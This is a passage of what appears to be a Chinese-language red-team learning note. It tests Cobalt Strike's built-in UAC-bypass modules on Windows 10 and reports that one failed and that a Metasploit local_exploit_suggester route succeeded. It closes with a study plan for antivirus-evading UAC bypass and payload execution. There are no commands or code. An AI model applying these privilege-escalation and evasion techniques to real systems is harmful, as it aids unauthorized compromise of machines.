2. 使用 MSF Bypass UAC 

3. 弹回一个 Bypass UAC 的 Beacon shell 到 CS 

理论上没什么问题，就是操作比较繁琐。据说一般会写的人是直接将 BypassUAC 

集成在 CS 中。BypassUAC 我同事也跟我说了一个 Github 项目，奈何我不会用，先

用这种繁琐的方法凑活着用吧。 

0x05 使用 uac-token-duplication 模块 Bypass UAC 

 

 

第一感觉很好使啊，不卡不谈不跳直接获得了一个 pid 为 31820 的新 Beacon。显

示一切顺利： 



 

 

 

但结果没成功…… 判断有没有成功就看这里有没有星号： 

 

 

或者对比一下就知道有没有过 UAC： 

 

 



 

 

 

这个弹回来的 shell 没有过 UAC，也不知道啥原因，就这样吧。总之经测试此方法

在 Win10（有 360）上不生效。 

0x06 总结 

总结来说，Cobalt Strike 内置的两种 Bypass UAC 方法，测试结果如下： 

• uac-dll：可绕 UAC，对普通用户级别的 Beacon Shell 不实用 

• uac-token-duplication：测试失败 

但是可以用联动 MSF 的 post/multi/recon/local_exploit_suggester 模块来 

Bypass UAC，测试成功。 



 

另外关于 UAC： 

即使是管理员，也只有 Administrator 可以免 UAC； 其它都得绕，不然就是通过提

权。 

比如我的最开始的 Beacon 中，xue 这个普通用户属于管理员组： 

 

 

但是其没过 UAC： 

 

 

Windows 7 以后默认不启用 Administrator 用户估计也是这个原因，不然 UAC 等于

没用。 

0x07 后续学习 

关于 UAC 的学习路线： 



 

1. UAC 是什么 

2. 什么情况下会出现 UAC 

3. 针对不同的系统版本怎么正常绕 UAC 

4. 针对不同的系统版本怎么免杀绕 UAC 

5. 绕过 UAC 之后怎么免杀执行自己的 payload 

另外 CS 的这个 Elevate 提权模块还有个 runasadmin 命令，对于 Elevate Exploit 也

可以自行编写代码来扩充，这些我都还没搞清楚，搞清楚了再记录、交流。 
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